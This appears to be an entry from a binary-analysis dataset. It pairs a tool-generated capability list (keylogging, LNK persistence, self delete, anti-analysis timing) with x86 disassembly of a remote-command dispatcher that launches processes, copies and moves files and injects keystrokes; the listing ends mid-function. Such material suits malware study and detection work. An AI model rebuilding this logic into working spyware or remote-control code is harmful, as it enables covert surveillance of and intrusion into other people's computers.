Function at 0x4d7070
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Log keystrokes via polling
Move file
Persist via lnk shortcut
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x14d
push 0
push 0
dec ecx
jne 0x4d7078
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4eec24]
call fcn.00405220
xor eax, eax
push ebp
push 0x4dc9af
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x532ef0], 0x805
xor eax, eax
mov al, byte [ebx + 0xc]
mov dword [0x53b170], eax
xor eax, eax
mov al, byte [ebx + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf5
ja case.0x4d70d0.10
mov al, byte [eax + 0x4d70d7]
jmp dword [eax*4 + 0x4d71cd]
mov ebx, dword [ebx + 0x10]
push 0x4dc9c8
push dword [0x53b364]
push 0x4dc9dc
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.004048f4
push 0x4dc9c8
push dword [0x53b364]
push 0x4dc9ec
lea eax, [ebp - 0xe0]
mov edx, 3
call fcn.004048f4
lea eax, [ebp - 0xdc]
call fcn.004d3850
lea eax, [ebp - 0xe0]
call fcn.004d3850
cmp ebx, 0xa
jne 0x4d740d
lea edx, [ebp - 0x8c8]
mov eax, 0x13
call fcn.004a94e4
mov eax, dword [ebp - 0x8c8]
mov ecx, dword [0x53b354]
mov edx, dword [0x53b364]
call fcn.0046c0c0
test al, al
je case.0x4d70d0.10
mov eax, dword [ebp - 0xdc]
call fcn.004098f0
mov eax, dword [ebp - 0xe0]
call fcn.004098f0
jmp case.0x4d70d0.10
cmp ebx, 0xb
jne 0x4d7464
push 0
mov eax, dword [0x534a7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov edx, 0x4dc9fc
call fcn.004d26dc
test eax, eax
jne case.0x4d70d0.10
lea edx, [ebp - 0x8cc]
mov eax, 0x13
call fcn.004a94e4
mov eax, dword [ebp - 0x8cc]
mov edx, dword [0x53b364]
call fcn.0046cc88
mov eax, dword [ebp - 0xe0]
call fcn.004098f0
jmp case.0x4d70d0.10
cmp ebx, 0xc
jne 0x4d7523
mov edx, dword [0x534a7c]
mov edx, dword [edx]
mov eax, 0x4dca08
call fcn.00404b70
test eax, eax
jne case.0x4d70d0.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x24], eax
push 0x4dca14
mov eax, dword [0x534a7c]
push dword [eax]
push 0x4dca24
lea eax, [ebp - 0x8d0]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x8d0]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8d4]
mov edx, dword [ebp - 0xe0]
call fcn.00404e38
mov eax, dword [ebp - 0x8d4]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046d968
test al, al
je 0x4d7516
lea edx, [ebp - 0x8d8]
mov eax, 0x13
call fcn.004a94e4
mov eax, dword [ebp - 0x8d8]
mov edx, dword [0x53b364]
call fcn.0046cc88
mov eax, dword [ebp - 0xdc]
call fcn.004098f0
mov eax, dword [ebp - 0x24]
call fcn.00403770
jmp case.0x4d70d0.10
cmp ebx, 0xd
jne case.0x4d70d0.10
lea edx, [ebp - 0x8dc]
mov eax, 0x13
call fcn.004a94e4
mov eax, dword [ebp - 0x8dc]
mov edx, dword [0x53b364]
call fcn.0046cc88
mov eax, dword [ebp - 0xdc]
call fcn.004098f0
mov eax, dword [ebp - 0xe0]
call fcn.004098f0
jmp case.0x4d70d0.10
mov eax, 0x53b2cc
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
lea edx, [ebp - 0x8e0]
mov eax, 0x12d
call fcn.004a94e4
mov eax, dword [ebp - 0x8e0]
push eax
lea eax, [ebp - 0x8e4]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x8e4]
mov ecx, dword [0x53b2cc]
pop edx
call fcn.0046d51c
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
mov eax, dword [0x5334e4]
add eax, 0x4e20
sub eax, 0x7d0
mov dword [0x5334e0], eax
call fcn.004d3ac4
jmp case.0x4d70d0.10
lea edx, [ebp - 0x8e8]
mov eax, 0x12d
call fcn.004a94e4
mov eax, dword [ebp - 0x8e8]
push eax
lea eax, [ebp - 0x8ec]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x8ec]
xor ecx, ecx
pop edx
call fcn.0046d51c
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
mov eax, dword [0x5334e4]
add eax, 0x4e20
sub eax, 0x7d0
mov dword [0x5334e0], eax
call fcn.004d3ac4
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53b455]
jne case.0x4d70d0.10
cmp byte [0x533574], 0
jne case.0x4d70d0.10
xor eax, eax
push ebp
push 0x4d76dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x533574], 1
cmp byte [0x53b448], 0
je 0x4d76ab
mov byte [0x53b461], 0
mov eax, dword [ebx + 0x14]
mov dword [0x53b560], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004d5a2c
jmp 0x4d76c8
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x53b455]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004d5208
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d70d0.10
mov byte [0x533574], 0
ret
cmp dword [0x532f38], 0x5250390
jb case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
shr eax, 8
mov byte [0x53b4c4], al
mov eax, 0x53b467
call fcn.0040457c
mov eax, dword [ebx + 0x18]
shr eax, 0x10
mov dword [0x53b2f0], eax
mov eax, dword [ebx + 0x18]
and eax, 0xffff
mov dword [0x53b2f4], eax
jmp case.0x4d70d0.10
lea edx, [ebp - 0x58]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebp - 0x58]
call fcn.004e2788
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x1c]
mov dword [0x53b34c], eax
mov eax, dword [0x53b34c]
add eax, 0x5b
cmp eax, dword [0x53b3e0]
jae 0x4d7784
push 0
push 0x3e8
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
call fcn.00405910
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d7784
cmp eax, 0
je case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
mov dword [0x53b4b0], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b4b4], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d70d0.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d70d0.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d70d0.10
call fcn.004d5c34
jmp case.0x4d70d0.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
jmp case.0x4d70d0.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
call fcn.004d63a4
xor edx, edx
mov eax, 1
call fcn.004d63c4
jmp case.0x4d70d0.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
mov edx, dword [ebx + 0x10]
xor eax, eax
call fcn.004d28cc
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
mov dword [0x53350c], eax
mov eax, dword [ebx + 0x14]
mov dword [0x533508], eax
cmp dword [0x533508], 0
jg case.0x4d70d0.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
mov edx, dword [0x53350c]
mov ax, 2
call fcn.004d28cc
jmp case.0x4d70d0.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
mov eax, dword [0x534a60]
cmp dword [eax], 2
jne 0x4d78d6
mov edx, dword [ebx + 0x10]
mov ax, 8
call fcn.004d28cc
jmp case.0x4d70d0.10
mov edx, dword [ebx + 0x10]
mov ax, 1
call fcn.004d28cc
jmp case.0x4d70d0.10
cmp byte [0x532f54], 2
je case.0x4d70d0.10
cmp byte [0x53b466], 3
jne case.0x4d70d0.10
cmp byte [0x53b448], 0
jne case.0x4d70d0.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x53b449]
call fcn.00419600
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8f4]
mov eax, 0xf3
call fcn.004a94e4
mov ecx, dword [ebp - 0x8f4]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x8f0]
call fcn.00404880
mov eax, dword [ebp - 0x8f0]
call fcn.004d6e9c
pop ecx
push ebp
mov eax, dword [0x53b2f8]
call fcn.004d6e9c
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x53b449]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4d79e9
cmp dword [ebp - 0x15], 0x55662143
jne 0x4d79cd
lea edx, [ebp - 0x34]
mov eax, dword [0x53b449]
call fcn.004ef3d8
push ebp
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x8f8]
mov ecx, dword [ebp - 0x34]
call fcn.00404880
mov eax, dword [ebp - 0x8f8]
call fcn.004d6e9c
pop ecx
jmp 0x4d797b
mov ebx, dword [0x53b449]
mov eax, ebx
call fcn.004195e0
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, ebx
call fcn.00419600
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4d7a41
lea edx, [ebp - 0x904]
mov eax, 0xb
call fcn.004a94e4
mov ecx, dword [ebp - 0x904]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x900]
call fcn.00404880
mov edx, dword [ebp - 0x900]
lea eax, [ebp - 0x8fc]
call fcn.00404e38
mov eax, dword [ebp - 0x8fc]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046d968
jmp 0x4d7a75
lea edx, [ebp - 0x90c]
mov eax, 0xb
call fcn.004a94e4
mov ecx, dword [ebp - 0x90c]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x908]
call fcn.00404880
mov eax, dword [ebp - 0x908]
call fcn.004098f0
mov eax, dword [ebp - 0x24]
call fcn.00403770
mov eax, 0x12c
call fcn.004d25dc
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
call fcn.004d63a4
xor edx, edx
mov eax, 2
call fcn.004d63c4
mov byte [0x532f60], 1
push 5
mov eax, dword [0x534848]
call fcn.00404a84
push eax
mov eax, 0x53b2fc
call fcn.00404a84
push eax
mov eax, 0x53b2f8
call fcn.00404a84
push eax
push 0x4dca28
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d70d0.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0x34]
call fcn.004d3850
push 1
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.00404a2c
push eax
push 0x4dca28
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d70d0.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebp - 0x34]
call fcn.00404834
mov esi, eax
inc esi
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x38]
call fcn.00409ea8
mov eax, dword [ebp - 0x38]
call fcn.00404834
inc eax
add esi, eax
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x3c]
call fcn.00409ea8
lea edx, [ebp - 0x910]
mov eax, 0xf4
call fcn.004a94e4
mov edx, dword [ebp - 0x910]
mov eax, dword [ebp - 0x34]
call fcn.00404978
jne 0x4d7bb7
lea eax, [ebp - 0x38]
call fcn.004d3850
lea eax, [ebp - 0x3c]
call fcn.004d3850
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097d4
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a2c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a2c
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4d70d0.10
lea edx, [ebp - 0x914]
mov eax, 0xf5
call fcn.004a94e4
mov edx, dword [ebp - 0x914]
mov eax, dword [ebp - 0x34]
call fcn.00404978
jne 0x4d7cf0
mov eax, dword [ebp - 0x38]
call fcn.00404834
cmp eax, 3
jle case.0x4d70d0.10
lea eax, [ebp - 0x38]
call fcn.004d3850
mov eax, dword [ebp - 0x38]
call fcn.0046d6bc
test al, al
je 0x4d7c1a
mov eax, dword [ebp - 0x38]
call fcn.004eb118
mov edx, 2
mov eax, dword [ebp - 0x38]
call fcn.004d31d0
jmp case.0x4d70d0.10
mov eax, dword [ebp - 0x38]
call fcn.00462d5c
test al, al
je case.0x4d70d0.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a694]
call fcn.0046a91c
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e17f0
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e1a3c
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1fcc
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x38]
call fcn.004045d0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4d7cd2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d7cd9
mov eax, dword [ebp - 0xd8]
call fcn.00403770
ret
lea edx, [ebp - 0x918]
mov eax, 0xf6
call fcn.004a94e4
mov edx, dword [ebp - 0x918]
mov eax, dword [ebp - 0x34]
call fcn.00404978
jne 0x4d7d4b
lea eax, [ebp - 0x38]
call fcn.004d3850
lea eax, [ebp - 0x3c]
call fcn.004d3850
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097d4
push 3
mov eax, dword [ebp - 0x3c]
call fcn.00404a2c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a2c
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x14]
and eax, 1
dec eax
sete byte [0x53b52c]
lea eax, [ebp - 0x3c]
call fcn.004d3850
cmp dword [ebp - 0x3c], 0
jne 0x4d7d72
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
call fcn.0046d634
lea eax, [ebp - 0x34]
call fcn.004d3850
mov eax, 0x53b520
mov edx, dword [ebp - 0x34]
call fcn.004045d0
mov eax, 0x53b524
mov edx, dword [ebp - 0x38]
call fcn.004045d0
mov eax, 0x53b528
mov edx, dword [ebp - 0x3c]
call fcn.004045d0
mov eax, dword [ebx + 0x10]
mov dword [0x53354c], eax
cmp dword [0x53354c], 0
jg case.0x4d70d0.10
mov eax, dword [ebp - 0x28]
call fcn.004d6868
jmp case.0x4d70d0.10
lea eax, [ebp - 0x1d8]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1b0], 0x1c0000
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [ebp - 0x16c], eax
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [ebp - 0x168], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x170], eax
push 1
lea eax, [ebp - 0x1d8]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4d70d0.10
call fcn.004d6da8
jmp case.0x4d70d0.10
cmp byte [0x532ffc], 1
jb case.0x4d70d0.10
mov eax, dword [0x532ef8]
mov dword [0x532f08], eax
mov eax, dword [0x532efc]
mov dword [0x532f0c], eax
mov esi, dword [ebx + 0x10]
mov edi, dword [ebx + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 1
setne dl
xor al, dl
je 0x4d7e8a
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
test byte [ebx + 0x18], 1
setne byte [0x533594]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 2
setne dl
xor al, dl
je 0x4d7eca
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 4
setne dl
xor al, dl
je 0x4d7f0a
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp esi, 0x14
je case.0x4d70d0.10
cmp esi, 0x90
je case.0x4d70d0.10
cmp esi, 0x91
je case.0x4d70d0.10
mov ebx, esi
mov eax, ebx
and eax, 0xfffffffe
sub eax, 0xa0
je 0x4d7f53
sub eax, 2
je 0x4d7f45
sub eax, 2
je 0x4d7f4c
jmp 0x4d7f58
mov ebx, 0x11
jmp 0x4d7f58
mov ebx, 0x12
jmp 0x4d7f58
mov ebx, 0x10
cmp ebx, 0x10
jne 0x4d7f75
test edi, 0x80000000
je 0x4d7f6e
mov byte [0x533598], 0
jmp 0x4d7f75
mov byte [0x533598], 1
cmp ebx, 0x12
jne 0x4d7fe4
test edi, 0x1000000
jne 0x4d7fb6
test edi, 0x80000000
je 0x4d7fa1
mov al, byte [0x4dca30]
not eax
and al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d804b
mov al, byte [0x4dca30]
or al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d804b
test edi, 0x80000000
je 0x4d7fd2
mov al, byte [0x4dca34]
not eax
and al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d804b
mov al, byte [0x4dca34]
or al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d804b
cmp ebx, 0x11
jne 0x4d804b
test edi, 0x1000000
jne 0x4d801f
test edi, 0x80000000
je 0x4d800d
mov al, byte [0x4dca38]
not eax
and al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d804b
mov al, byte [0x4dca38]
or al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d804b
test edi, 0x80000000
je 0x4d803b
mov al, byte [0x4dca3c]
not eax
and al, byte [0x533538]
mov byte [0x533538], al
jmp 0x4d804b
mov al, byte [0x4dca3c]
or al, byte [0x533538]
mov byte [0x533538], al
cmp word [0x53b50c], 0
je 0x4d8057
mov esi, ebx
mov eax, dword [0x534338]
cmp dword [eax], 0
jne 0x4d8066
call fcn.004cd4f8
mov eax, dword [0x53425c]
cmp dword [eax], 0
jne 0x4d8075
call fcn.004ce818
mov eax, dword [0x534418]
cmp dword [eax], 0
jne 0x4d8084
call fcn.004cef74
cmp byte [0x53b2a8], 0
je 0x4d8106
mov al, byte [0x4dca40]
cmp al, byte [0x533538]
jne 0x4d8106
cmp esi, 0x41
jl 0x4d80a4
cmp esi, 0x5a
jle 0x4d80dd
cmp esi, 0x30
jl 0x4d80ae
cmp esi, 0x39
jle 0x4d80dd
cmp esi, 0x60
jl 0x4d80b8
cmp esi, 0x6f
jle 0x4d80dd
cmp esi, 0xba
jl 0x4d80c8
cmp esi, 0xc0
jle 0x4d80dd
cmp esi, 0xdb
jl 0x4d80d8
cmp esi, 0xde
jle 0x4d80dd
cmp esi, 0x20
jne 0x4d8106
test edi, 0x80000000
jne case.0x4d70d0.10
mov edx, edi
mov eax, esi
call fcn.004d6c94
xor edi, 0x80000000
mov edx, edi
mov eax, esi
call fcn.004d6c94
jmp case.0x4d70d0.10
mov edx, edi
mov eax, esi
call fcn.004d6c94
jmp case.0x4d70d0.10
cmp byte [0x532ffc], 1
jb case.0x4d70d0.10
mov eax, dword [0x532ef8]
mov dword [0x532f08], eax
mov eax, dword [0x532efc]
mov dword [0x532f0c], eax
mov eax, dword [0x534338]
cmp dword [eax], 0
jne 0x4d8148
call fcn.004cd4f8
mov eax, dword [0x53425c]
cmp dword [eax], 0
jne 0x4d8157
call fcn.004ce818
mov eax, dword [0x534418]
cmp dword [eax], 0
jne 0x4d8166
call fcn.004cef74
mov eax, dword [0x534338]
cmp dword [eax], 0
jle 0x4d8351
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d70d0.10
jmp dword [eax*4 + 0x4d8187]
mov eax, 0x12
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cd0c8
jmp case.0x4d70d0.10
mov eax, 0x12
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cd0c8
jmp case.0x4d70d0.10
mov eax, 0x11
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cd0c8
jmp case.0x4d70d0.10
mov eax, 0x11
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cd0c8
jmp case.0x4d70d0.10
mov eax, 0x11
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cd0c8
jmp case.0x4d70d0.10
mov eax, 0x11
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cd0b0
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cd0c8
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cd0c8
jmp case.0x4d70d0.10
mov eax, dword [0x53425c]
cmp dword [eax], 0
jle 0x4d8626
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d70d0.10
jmp dword [eax*4 + 0x4d8372]
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53492c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341ac]
mov eax, dword [eax]
call eax
jmp case.0x4d70d0.10
mov eax, dword [0x534418]
cmp dword [eax], 0
jle 0x4d8a19
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d70d0.10
jmp dword [eax*4 + 0x4d8647]
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
